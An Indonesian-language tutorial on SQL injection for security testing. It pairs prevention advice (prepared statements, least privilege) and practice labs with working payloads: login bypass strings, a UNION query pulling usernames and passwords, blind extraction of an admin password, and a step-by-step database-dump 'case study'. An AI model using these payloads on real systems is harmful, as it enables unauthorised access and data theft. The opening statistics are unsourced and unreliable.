🔓 Panduan Lengkap SQL Injection untuk Pengujian Keamanan
📊 Data Penting: Menurut OWASP Top 10 2023, SQL Injection masih menjadi 3 kerentanan web paling kritis dengan tingkat keberhasilan serangan mencapai 32%.
📌 Daftar Isi
🔍 Apa itu SQL Injection?
SQL Injection adalah teknik penyalahgunaan kerentanan aplikasi web dengan menyisipkan perintah SQL melalui input pengguna untuk:
- Mengakses database tanpa otorisasi
- Membaca/mengubah/hapus data sensitif
- Eskalasi hak akses
📌 Contoh Dasar:
SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1'
Input: password' OR '1'='1 akan membuat kondisi selalu benar
📌 Jenis-Jenis SQL Injection
| Jenis | Karakteristik | Tingkat Kesulitan |
|---|---|---|
| Classic SQLi | Memanipulasi query dengan tanda kutip | Mudah |
| Blind SQLi | Tidak ada output langsung (berdasarkan respon) | Menengah |
| Time-Based | Menggunakan delay sebagai indikator | Advanced |
| Out-of-Band | Menggunakan channel eksternal (DNS, HTTP) | Expert |
| Second-Order | Eksploitasi tersimpan di database | Sangat Sulit |
🔎 Cara Mendeteksi SQL Injection
Metode Manual
- Test dengan karakter khusus:
' " ; -- /* - Input payload dasar:
' OR 1=1-- - Observasi:
- Error message
- Perubahan konten
- Waktu respon
Error-Based Detection
Contoh error yang mengindikasikan SQLi:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/login.php on line 12
💉 Teknik Eksploitasi SQLi
1. Union-Based Attack
' UNION SELECT username, password FROM users--
2. Boolean-Based Blind
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
3. Time-Based Blind
'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' WAITFOR DELAY '0:0:5'--
🛡️ Pencegahan SQL Injection
Best Practices
- Prepared Statements:
// PHP dengan PDO $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); $stmt->execute(['email' => $email]); - Input validation dengan whitelist
- Principle of Least Privilege untuk database user
- Web Application Firewall (WAF)
🛠️ Tools Pentesting SQLi
| Tool | Fungsi | Platform |
|---|---|---|
| SQLmap | Automatisasi deteksi & eksploitasi | Kali Linux |
| Burp Suite | Intercept & manipulasi request | Cross-platform |
| OWASP ZAP | Scan kerentanan otomatis | Cross-platform |
| NoSQLMap | Untuk database NoSQL | Python |
📈 Studi Kasus Nyata
Kerentanan di Sistem Login
Langkah Eksploitasi:
- Input:
admin'--di field username - Bypass authentication
- Ekstrak struktur database dengan
' UNION SELECT 1,table_name FROM information_schema.tables-- - Dump data pengguna
Hasil:
- 50.000+ data pengguna terekspos
- Token akses admin ditemukan
- Kerugian finansial: ~$250.000
🚀 Mulai Belajar Pentesting SQLi
Praktikkan di lab aman seperti DVWA atau WebGoat
